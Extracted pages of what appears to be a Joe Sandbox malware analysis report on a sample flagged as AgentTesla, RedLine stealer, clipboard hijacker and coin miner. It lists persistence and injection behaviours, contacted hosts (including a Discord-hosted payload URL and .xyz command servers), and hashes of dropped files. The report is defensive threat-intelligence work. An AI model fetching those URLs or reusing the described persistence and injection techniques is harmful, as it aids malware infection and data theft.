Uses schtasks.exe orat.exe to add and modify

task schedules

Contains functionalityto compare user and

computer (likely todetect sandboxes)

schtasks.exe

1

started

RegHost.exe

started

Hides threads from debuggers

conhost.exe

started

api.telegram.org

149.154.167.220, 443, 49753

TELEGRAMRU

United Kingdom

conhost.exe

started

conhost.exe

started

Modifies the contextof a thread in another

process (thread injection)Hides threads from debuggers

Injects a PE file intoa foreign processes

conhost.exe

started

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

ThumbnailsThis section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Graph

Screenshots

Copyright Joe Security LLC 2022 Page 9 of 103

Source Detection Scanner Label Link

voFzZ8TzxW.exe 51% Virustotal Browse

voFzZ8TzxW.exe 63% ReversingLabs Win32.Trojan.AgentTesla

voFzZ8TzxW.exe 100% Joe Sandbox ML

Source Detection Scanner Label Link

C:\Users\user\AppData\Roaming\Microsoft\RegHost.exe 100% Avira BDS/Androm.ielnh

C:\Users\user\AppData\Roaming\whw.exe 100% Avira HEUR/AGEN.1145065

C:\Users\user\AppData\Roaming\e3dwefw.exe 100% Avira TR/Crypt.XPACK.Gen8

C:\Users\user\AppData\Roaming\safas2f.exe 100% Avira BDS/Androm.ielnh

C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe 100% Avira TR/Crypt.XPACK.Gen8

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Copyright Joe Security LLC 2022 Page 10 of 103

C:\Users\user\AppData\Roaming\Microsoft\RegHost.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Roaming\whw.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Roaming\safas2f.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe 34% Metadefender Browse

C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe 72% ReversingLabs Win32.Trojan.Tasker

C:\Users\user\AppData\Roaming\Microsoft\RegHost.exe 32% Metadefender Browse

C:\Users\user\AppData\Roaming\Microsoft\RegHost.exe 64% ReversingLabs Win64.Trojan.Enigma

C:\Users\user\AppData\Roaming\e3dwefw.exe 34% Metadefender Browse

C:\Users\user\AppData\Roaming\e3dwefw.exe 72% ReversingLabs Win32.Trojan.Tasker

C:\Users\user\AppData\Roaming\safas2f.exe 32% Metadefender Browse

C:\Users\user\AppData\Roaming\safas2f.exe 64% ReversingLabs Win64.Trojan.Enigma

C:\Users\user\AppData\Roaming\whw.exe 42% Metadefender Browse

C:\Users\user\AppData\Roaming\whw.exe 89% ReversingLabs ByteCode-MSIL.Infostealer.RedLine

Source Detection Scanner Label Link

Source Detection Scanner Label Link Download

25.2.oobeldr.exe.200000.0.unpack 100% Avira TR/Crypt.XPACK.Gen8 Download File

35.0.explorer.exe.140000000.2.unpack 100% Avira HEUR/AGEN.1142231 Download File

35.0.explorer.exe.140000000.6.unpack 100% Avira HEUR/AGEN.1142231 Download File

47.0.bfsvc.exe.140000000.1.unpack 100% Avira PUA/CoinMiner.Gen Download File

35.0.explorer.exe.140000000.8.unpack 100% Avira HEUR/AGEN.1142231 Download File

20.2.e3dwefw.exe.e00000.0.unpack 100% Avira TR/Crypt.XPACK.Gen8 Download File

44.0.explorer.exe.140000000.15.unpack 100% Avira HEUR/AGEN.1142231 Download File

18.2.whw.exe.e50000.0.unpack 100% Avira HEUR/AGEN.1145065 Download File

49.0.explorer.exe.140000000.9.unpack 100% Avira HEUR/AGEN.1142231 Download File

38.0.bfsvc.exe.140000000.4.unpack 100% Avira PUA/CoinMiner.Gen Download File

38.0.bfsvc.exe.140000000.11.unpack 100% Avira PUA/CoinMiner.Gen Download File

35.0.explorer.exe.140000000.7.unpack 100% Avira HEUR/AGEN.1142231 Download File

35.0.explorer.exe.140000000.0.unpack 100% Avira HEUR/AGEN.1142231 Download File

49.0.explorer.exe.140000000.10.unpack 100% Avira HEUR/AGEN.1142231 Download File

47.0.bfsvc.exe.140000000.4.unpack 100% Avira PUA/CoinMiner.Gen Download File

49.0.explorer.exe.140000000.3.unpack 100% Avira HEUR/AGEN.1142231 Download File

49.0.explorer.exe.140000000.5.unpack 100% Avira HEUR/AGEN.1142231 Download File

38.0.bfsvc.exe.140000000.2.unpack 100% Avira PUA/CoinMiner.Gen Download File

49.0.explorer.exe.140000000.13.unpack 100% Avira HEUR/AGEN.1142231 Download File

38.0.bfsvc.exe.140000000.14.unpack 100% Avira PUA/CoinMiner.Gen Download File

44.0.explorer.exe.140000000.7.unpack 100% Avira HEUR/AGEN.1142231 Download File

49.0.explorer.exe.140000000.7.unpack 100% Avira HEUR/AGEN.1142231 Download File

38.0.bfsvc.exe.140000000.10.unpack 100% Avira PUA/CoinMiner.Gen Download File

20.0.e3dwefw.exe.e00000.0.unpack 100% Avira TR/Crypt.XPACK.Gen8 Download File

26.2.bfsvc.exe.140000000.0.unpack 100% Avira PUA/CoinMiner.Gen Download File

44.0.explorer.exe.140000000.2.unpack 100% Avira HEUR/AGEN.1142231 Download File

35.0.explorer.exe.140000000.4.unpack 100% Avira HEUR/AGEN.1142231 Download File

49.0.explorer.exe.140000000.6.unpack 100% Avira HEUR/AGEN.1142231 Download File

47.0.bfsvc.exe.140000000.2.unpack 100% Avira PUA/CoinMiner.Gen Download File

35.0.explorer.exe.140000000.9.unpack 100% Avira HEUR/AGEN.1142231 Download File

35.0.explorer.exe.140000000.1.unpack 100% Avira HEUR/AGEN.1142231 Download File

44.0.explorer.exe.140000000.5.unpack 100% Avira HEUR/AGEN.1142231 Download File

38.0.bfsvc.exe.140000000.7.unpack 100% Avira PUA/CoinMiner.Gen Download File

47.0.bfsvc.exe.140000000.13.unpack 100% Avira PUA/CoinMiner.Gen Download File

35.0.explorer.exe.140000000.3.unpack 100% Avira HEUR/AGEN.1142231 Download File

47.0.bfsvc.exe.140000000.8.unpack 100% Avira PUA/CoinMiner.Gen Download File

38.0.bfsvc.exe.140000000.0.unpack 100% Avira PUA/CoinMiner.Gen Download File

49.0.explorer.exe.140000000.1.unpack 100% Avira HEUR/AGEN.1142231 Download File

47.0.bfsvc.exe.140000000.6.unpack 100% Avira PUA/CoinMiner.Gen Download File

47.0.bfsvc.exe.140000000.3.unpack 100% Avira PUA/CoinMiner.Gen Download File

44.0.explorer.exe.140000000.10.unpack 100% Avira HEUR/AGEN.1142231 Download File

44.0.explorer.exe.140000000.8.unpack 100% Avira HEUR/AGEN.1142231 Download File

47.0.bfsvc.exe.140000000.7.unpack 100% Avira PUA/CoinMiner.Gen Download File

38.0.bfsvc.exe.140000000.12.unpack 100% Avira PUA/CoinMiner.Gen Download File

47.0.bfsvc.exe.140000000.12.unpack 100% Avira PUA/CoinMiner.Gen Download File

49.2.explorer.exe.140000000.0.unpack 100% Avira HEUR/AGEN.1142231 Download File

Unpacked PE Files

Copyright Joe Security LLC 2022 Page 11 of 103

35.0.explorer.exe.140000000.12.unpack 100% Avira HEUR/AGEN.1142231 Download File

24.2.explorer.exe.140000000.0.unpack 100% Avira HEUR/AGEN.1142231 Download File

38.0.bfsvc.exe.140000000.1.unpack 100% Avira PUA/CoinMiner.Gen Download File

44.0.explorer.exe.140000000.3.unpack 100% Avira HEUR/AGEN.1142231 Download File

44.2.explorer.exe.140000000.0.unpack 100% Avira HEUR/AGEN.1142231 Download File

44.0.explorer.exe.140000000.13.unpack 100% Avira HEUR/AGEN.1142231 Download File

47.0.bfsvc.exe.140000000.10.unpack 100% Avira PUA/CoinMiner.Gen Download File

49.0.explorer.exe.140000000.11.unpack 100% Avira HEUR/AGEN.1142231 Download File

38.0.bfsvc.exe.140000000.13.unpack 100% Avira PUA/CoinMiner.Gen Download File

35.0.explorer.exe.140000000.5.unpack 100% Avira HEUR/AGEN.1142231 Download File

44.0.explorer.exe.140000000.11.unpack 100% Avira HEUR/AGEN.1142231 Download File

49.0.explorer.exe.140000000.12.unpack 100% Avira HEUR/AGEN.1142231 Download File

44.0.explorer.exe.140000000.0.unpack 100% Avira HEUR/AGEN.1142231 Download File

35.0.explorer.exe.140000000.15.unpack 100% Avira HEUR/AGEN.1142231 Download File

44.0.explorer.exe.140000000.14.unpack 100% Avira HEUR/AGEN.1142231 Download File

38.0.bfsvc.exe.140000000.8.unpack 100% Avira PUA/CoinMiner.Gen Download File

49.0.explorer.exe.140000000.14.unpack 100% Avira HEUR/AGEN.1142231 Download File

49.0.explorer.exe.140000000.8.unpack 100% Avira HEUR/AGEN.1142231 Download File

35.0.explorer.exe.140000000.11.unpack 100% Avira HEUR/AGEN.1142231 Download File

38.0.bfsvc.exe.140000000.9.unpack 100% Avira PUA/CoinMiner.Gen Download File

47.0.bfsvc.exe.140000000.14.unpack 100% Avira PUA/CoinMiner.Gen Download File

35.0.explorer.exe.140000000.14.unpack 100% Avira HEUR/AGEN.1142231 Download File

35.2.explorer.exe.140000000.0.unpack 100% Avira HEUR/AGEN.1142231 Download File

49.0.explorer.exe.140000000.15.unpack 100% Avira HEUR/AGEN.1142231 Download File

49.0.explorer.exe.140000000.2.unpack 100% Avira HEUR/AGEN.1142231 Download File

24.0.explorer.exe.140000000.0.unpack 100% Avira HEUR/AGEN.1142231 Download File

44.0.explorer.exe.140000000.4.unpack 100% Avira HEUR/AGEN.1142231 Download File

44.0.explorer.exe.140000000.6.unpack 100% Avira HEUR/AGEN.1142231 Download File

47.0.bfsvc.exe.140000000.9.unpack 100% Avira PUA/CoinMiner.Gen Download File

44.0.explorer.exe.140000000.9.unpack 100% Avira HEUR/AGEN.1142231 Download File

18.0.whw.exe.e50000.0.unpack 100% Avira HEUR/AGEN.1145065 Download File

47.0.bfsvc.exe.140000000.11.unpack 100% Avira PUA/CoinMiner.Gen Download File

35.0.explorer.exe.140000000.13.unpack 100% Avira HEUR/AGEN.1142231 Download File

44.0.explorer.exe.140000000.12.unpack 100% Avira HEUR/AGEN.1142231 Download File

35.0.explorer.exe.140000000.10.unpack 100% Avira HEUR/AGEN.1142231 Download File

26.0.bfsvc.exe.140000000.0.unpack 100% Avira PUA/CoinMiner.Gen Download File

47.0.bfsvc.exe.140000000.0.unpack 100% Avira PUA/CoinMiner.Gen Download File

49.0.explorer.exe.140000000.4.unpack 100% Avira HEUR/AGEN.1142231 Download File

44.0.explorer.exe.140000000.1.unpack 100% Avira HEUR/AGEN.1142231 Download File

38.0.bfsvc.exe.140000000.5.unpack 100% Avira PUA/CoinMiner.Gen Download File

38.0.bfsvc.exe.140000000.3.unpack 100% Avira PUA/CoinMiner.Gen Download File

38.0.bfsvc.exe.140000000.6.unpack 100% Avira PUA/CoinMiner.Gen Download File

49.0.explorer.exe.140000000.0.unpack 100% Avira HEUR/AGEN.1142231 Download File

47.0.bfsvc.exe.140000000.5.unpack 100% Avira PUA/CoinMiner.Gen Download File

25.0.oobeldr.exe.200000.0.unpack 100% Avira TR/Crypt.XPACK.Gen8 Download File

Source Detection Scanner Label Link Download

No Antivirus matches

Source Detection Scanner Label Link

tempuri.org/Entity/Id12Response 0% URL Reputation safe

ns.adobe.cobjM 0% Avira URL Cloud safe

tempuri.org/ 0% URL Reputation safe

tempuri.org/Entity/Id2Response 0% URL Reputation safe

tempuri.org/Entity/Id21Response 0% URL Reputation safe

https://enigmaprotector.com/taggant/spv.crl0 0% URL Reputation safe

www.interoperabilitybridges.com/wmp-extension-for-chrome600K 0% Avira URL Cloud safe

c9d0e790b353537889bd47a364f5acff43c11f246.xyz/verify.php?id=17_b0d83164c16b3d8d2c92628519b194

0% Avira URL Cloud safe

tempuri.org/Entity/Id15Response 0% URL Reputation safe

https://api.ip.sb/ip 0% URL Reputation safe

Domains

URLs

Copyright Joe Security LLC 2022 Page 12 of 103

General Information

Joe Sandbox Version: 34.0.0 Boulder Opal

tempuri.org/Entity/Id24Response 0% URL Reputation safe

tempuri.org/Entity/Id5Response 0% URL Reputation safe

tempuri.org/Entity/Id10Response 0% URL Reputation safe

tempuri.org/Entity/Id8Response 0% URL Reputation safe

ns.ado/1M 0% Avira URL Cloud safe

https://cdn.discordapp.com4 0% URL Reputation safe

tempuri.org/Entity/Id22Responseal0K 100% Avira URL Cloud phishing

tempuri.org/Entity/Id13Response 0% URL Reputation safe

tempuri.org/Entity/Id19Response0K 100% Avira URL Cloud phishing

tempuri.org/Entity/Id22Response 0% URL Reputation safe

https://get.adob 0% URL Reputation safe

tempuri.org/Entity/Id18Response 0% URL Reputation safe

c9d0e790b353537889bd47a364f5acff43c11f247.xyz/verify.php?id=17_b0d83164c16b3d8d2c92628519b194

0% Avira URL Cloud safe

tempuri.org/Entity/Id3Response 0% URL Reputation safe

ns.ado/1 0% URL Reputation safe

Source Detection Scanner Label Link

Name IP Active Malicious Antivirus Detection Reputation

c9d0e790b353537889bd47a364f5acff43c11f247.xyz

185.112.83.97 true false high

cdn.discordapp.com 162.159.130.233 true false high

api.telegram.org 149.154.167.220 true false high

c9d0e790b353537889bd47a364f5acff43c11f246.xyz

unknown unknown false high

Name Malicious Antivirus Detection Reputation

https://cdn.discordapp.com/attachments/930125827671199807/930125891755978832/23.exefalse high

IP Domain Country Flag ASN ASN Name Malicious

149.154.167.220 api.telegram.org United Kingdom 62041 TELEGRAMRU false

162.159.130.233 cdn.discordapp.com United States 13335 CLOUDFLARENETUS false

185.112.83.99 unknown Russian Federation 50113 SUPERSERVERSDATACENTERRU

false

185.112.83.97 c9d0e790b353537889bd47a364f5acff43c11f247.xyz

Russian Federation 50113 SUPERSERVERSDATACENTERRU

false

46.3.197.253 unknown Russian Federation 207636 ALEXHOST_SRLMD true

IP

192.168.2.1

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

Copyright Joe Security LLC 2022 Page 13 of 103

Analysis ID: 553736

Start date: 15.01.2022

Start time: 20:22:12

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 13m 24s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: voFzZ8TzxW.exe

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

Number of analysed new started processes analysed:

50

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabledEGA enabledHDC enabledAMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.spyw.evad.mine.winEXE@50/12@5/6

EGA Information: Successful, ratio: 83.3%

HDC Information: Successful, ratio: 4.3% (good quality ratio 3.8%)Quality average: 64.3%Quality standard deviation: 33.3%

HCA Information: Successful, ratio: 74%Number of executed functions: 0Number of non-executed functions: 0

Cookbook Comments: Adjust boot timeEnable AMSIFound application associated with file extension: .exe

Warnings:

Time Type Description

20:23:25 API Interceptor 28x Sleep call for process: RegAsm.exe modified

20:23:44 Task Scheduler Run new task: Telemetry Logging path: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe

20:23:46 Autostart Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run RegHost C:\Users\user\AppData\Roaming\Microsoft\RegHost.exe

20:23:59 Autostart Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run RegHost C:\Users\user\AppData\Roaming\Microsoft\RegHost.exe

20:24:07 Autostart Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run RegHost C:\Users\user\AppData\Roaming\Microsoft\RegHost.exe

20:24:29 API Interceptor 37x Sleep call for process: whw.exe modified

No context

No context

Show All

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

Copyright Joe Security LLC 2022 Page 14 of 103

No context

No context

No context

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegAsm.exe.logProcess: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 2291

Entropy (8bit): 5.3192079301865585

Encrypted: false

SSDEEP: 48:MOfHK5HKXAHKhBHK1HiYHKhQnoPtHoxHhAHKzvrHKBSTHvmHKAHKoLHG1qHqH5HX:vq5qXAqLq1CYqhQnoPtIxHeqzTqsOqAs

MD5: 57BC8CDEA2E278085663BBAF4E8E0474

SHA1: 1CD06A7F6EEBDF5C803682ED92C1F74CBECEC2A6

SHA-256: 04873C6A7D04645AE15B59E58BF98D6137F19677692B36F81E0B40D83579CBFB

SHA-512: 051624C60BD40B0AF3C89CFB20BDAFD96498F4012574BEB3E5CDD4A8848AC176188610F5B48E2514576CF9887DF970C055A615BFEFACE4D25894D5CE36C4EC04

Malicious: false

Reputation: unknown

Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.ServiceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"SMDiagnostics, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Confi

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\voFzZ8TzxW.exe.log

Process: C:\Users\user\Desktop\voFzZ8TzxW.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 1299

Entropy (8bit): 5.353835388147306

Encrypted: false

SSDEEP: 24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhgLE4qE4qXKIE4oKFKHKoZAE4Kzr7FE8:MIHK5HKXE1qHiYHKhQnogLHqHitHoxH5

MD5: 2D253637B9909B1E05AF430FE1AC0EE5

SHA1: 7CE166A8E327F659BE3D67AEA3CB62D6A0FB4CC4

SHA-256: D6505CE2823493D0F30B7BFFE23336C1814A4EE71F54599199E35938C7930C9D

SHA-512: C799072C4354B07D2AA336BF78FE2219175D907B993807A3555FE3730C38417E7825A6D2129D3EBB4CE93B11ED65173E8127CA615704F052A071637A5DCA44B1

Malicious: true

Reputation: unknown

Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..2,"Microsoft.CSharp, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Dynamic, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configurat

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\whw.exe.logProcess: C:\Users\user\AppData\Roaming\whw.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 2291

Entropy (8bit): 5.3192079301865585

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Copyright Joe Security LLC 2022 Page 15 of 103

Encrypted: false

SSDEEP: 48:MOfHK5HKXAHKhBHKdHKB1AHKzvQTHmYHKhQnoPtHoxHImHKoLHG1qHjHKdHAHDJn:vq5qXAqLqdqUqzcGYqhQnoPtIxHbqoL1

MD5: B8B968C6C5994E11C0AEF299F6CC13DF

SHA1: 60351148A0D29E39DF51AE7F8D6DA7653E31BCF9

SHA-256: DD53198266985E5C23239DCDDE91B25CF1FC1F4266B239533C11DDF0EF0F958D

SHA-512: CFBCFCB650EF8C84A4BA005404E90ECAC9E77BDB618F53CD5948C085E44D099183C97C1D818A905B16C5E495FF167BD47347B14670A6E68801B0C01BC264F168

Malicious: false

Reputation: unknown

Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.ServiceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"SMDiagnostics, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\34957343ad5d84daee97a1affda91665\System.Runtime.Serialization.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..2,"System.ServiceModel.Internals, Version=4.0.0.0, Culture=

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\whw.exe.log

C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe

Process: C:\Users\user\AppData\Roaming\e3dwefw.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 12288

Entropy (8bit): 5.463602927153107

Encrypted: false

SSDEEP: 192:vo9X3aXgSJ7F8F9JXVVpLW5ncOc/bi/ZtjSvNHhqXoCxWfSf:AgXpJy9VVdP/gBSiXom

MD5: 67486B272027C5C08C37D2A7DFA3B019

SHA1: 660CD3FA71E480E03B392CCFFF95B1A651EC1563

SHA-256: CB2F3C7A11FF1993ED3A24D396BEECA0F06842B9CD9097351A7C8662250EC677

SHA-512: 6565AF5F8E090285258A0ABF4FAA1C99790B409F4ED8A4233048614CA470F1D7C4A40F951BD7C2664C567F7788F9E689AFB3D72FCFF853D888FEF5B40051CF61

Malicious: true

Yara Hits: Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe, Author: Joe Security

Antivirus: Antivirus: Avira, Detection: 100%Antivirus: Metadefender, Detection: 34%, BrowseAntivirus: ReversingLabs, Detection: 72%

Reputation: unknown

Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........v............................).......).......Rich............PE..L....c.a............................H#.......0....@..........................`............@..................................>..<............................P......x=..8............................................0..0............................text...s........................... ..`.rdata.......0......................@[email protected]...`....@[email protected].......,[email protected]................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\RegHost.exe

Process: C:\Users\user\AppData\Roaming\safas2f.exe

File Type: PE32+ executable (console) x86-64, for MS Windows

Category: dropped

Size (bytes): 8427520

Entropy (8bit): 7.994229112470264

Encrypted: true

SSDEEP: 196608:jKpoW+kDOO3wWzhubHxF7zsX7fce6KtfBz618Z6WwF7DUL4B:j07DDjcbRF7q6K1Bz6C1

MD5: BEC308E8E2D80CE6AC72020F906C4E55

SHA1: 38A97CC380B17B52ADDDD1D3E1BC2F3B6D5CC65E

SHA-256: 886C06036A616334323A6C4D6CDC863942A9944C8B1B07DE1AEE8F7D04877538

SHA-512: CE37026B9C1048F2D5C44FA5C3CA4549EEA224E38EEB8127F4C4A1A93A8F8D8BD77FD59B7F04C475B0807D78DB6CFD11771B96108A6872D412CC6C9A5C2658B1

Malicious: true

Antivirus: Antivirus: Avira, Detection: 100%Antivirus: Joe Sandbox ML, Detection: 100%Antivirus: Metadefender, Detection: 32%, BrowseAntivirus: ReversingLabs, Detection: 64%

Reputation: unknown

Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........u[..&[..&[..&..'P..&..'...&..'I..&..'K..&..'Q..&..'\..&[..&!..&..'...&..'Z..&..'Z..&Rich[..&........................PE..d....I.a.........."[email protected]...........`... ...... ........ ...... .............. .>.......>.\...........@.>.,b............>......................................................................................................B..................@............0... ...|...F..............@............`...P...|[email protected]...........>Q.............@........................>Q.............@........................@[email protected][email protected].............@............ +..p>...+...U.............@...................................................................................................................................................................

C:\Users\user\AppData\Roaming\e3dwefw.exe

Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Copyright Joe Security LLC 2022 Page 16 of 103

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 12288

Entropy (8bit): 5.463602927153107

Encrypted: false

SSDEEP: 192:vo9X3aXgSJ7F8F9JXVVpLW5ncOc/bi/ZtjSvNHhqXoCxWfSf:AgXpJy9VVdP/gBSiXom

MD5: 67486B272027C5C08C37D2A7DFA3B019

SHA1: 660CD3FA71E480E03B392CCFFF95B1A651EC1563

SHA-256: CB2F3C7A11FF1993ED3A24D396BEECA0F06842B9CD9097351A7C8662250EC677

SHA-512: 6565AF5F8E090285258A0ABF4FAA1C99790B409F4ED8A4233048614CA470F1D7C4A40F951BD7C2664C567F7788F9E689AFB3D72FCFF853D888FEF5B40051CF61

Malicious: true

Yara Hits: Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: C:\Users\user\AppData\Roaming\e3dwefw.exe, Author: Joe Security

Antivirus: Antivirus: Avira, Detection: 100%Antivirus: Metadefender, Detection: 34%, BrowseAntivirus: ReversingLabs, Detection: 72%

Reputation: unknown

Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........v............................).......).......Rich............PE..L....c.a............................H#.......0....@..........................`............@..................................>..<............................P......x=..8............................................0..0............................text...s........................... ..`.rdata.......0......................@[email protected]...`....@[email protected].......,[email protected]................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\e3dwefw.exe

C:\Users\user\AppData\Roaming\safas2f.exe

Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Type: PE32+ executable (console) x86-64, for MS Windows

Category: dropped

Size (bytes): 8427520

Entropy (8bit): 7.994229112470264

Encrypted: true

SSDEEP: 196608:jKpoW+kDOO3wWzhubHxF7zsX7fce6KtfBz618Z6WwF7DUL4B:j07DDjcbRF7q6K1Bz6C1

MD5: BEC308E8E2D80CE6AC72020F906C4E55

SHA1: 38A97CC380B17B52ADDDD1D3E1BC2F3B6D5CC65E

SHA-256: 886C06036A616334323A6C4D6CDC863942A9944C8B1B07DE1AEE8F7D04877538

SHA-512: CE37026B9C1048F2D5C44FA5C3CA4549EEA224E38EEB8127F4C4A1A93A8F8D8BD77FD59B7F04C475B0807D78DB6CFD11771B96108A6872D412CC6C9A5C2658B1

Malicious: true

Antivirus: Antivirus: Avira, Detection: 100%Antivirus: Joe Sandbox ML, Detection: 100%Antivirus: Metadefender, Detection: 32%, BrowseAntivirus: ReversingLabs, Detection: 64%

Reputation: unknown

Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........u[..&[..&[..&..'P..&..'...&..'I..&..'K..&..'Q..&..'\..&[..&!..&..'...&..'Z..&..'Z..&Rich[..&........................PE..d....I.a.........."[email protected]...........`... ...... ........ ...... .............. .>.......>.\...........@.>.,b............>......................................................................................................B..................@............0... ...|...F..............@............`...P...|[email protected]...........>Q.............@........................>Q.............@........................@[email protected][email protected].............@............ +..p>...+...U.............@...................................................................................................................................................................

C:\Users\user\AppData\Roaming\whw.exe

Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Category: dropped

Size (bytes): 106496

Entropy (8bit): 5.771124809553085

Encrypted: false

SSDEEP: 1536:vUVrM5Rh5B+HD8vy/4jcHXn14kSaxMabYpfFxeRCPvsS0000:vUVgfCHDiywAHF4AxMO0UzBW

MD5: C3B2C5A14962F6255D5DEC89DF0290CA

SHA1: 5D58A9D83155ABE4DE0D4AACF6E2F3FC506D3CBB

SHA-256: DD10774C996D64884B0CC34C42C1C7F3E43565E557183F636E37871ED6749901

SHA-512: 4AE964F14C427E65CEA64591FD348A8D8562DF3DD1AAC9DE563E5776F85D33BE41756A61156428BDFA0809CF8AE8229A02893B4CA32F43021231F7B937FD083F

Malicious: true

Yara Hits: Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Roaming\whw.exe, Author: Joe Security

Antivirus: Antivirus: Avira, Detection: 100%Antivirus: Joe Sandbox ML, Detection: 100%Antivirus: Metadefender, Detection: 42%, BrowseAntivirus: ReversingLabs, Detection: 89%

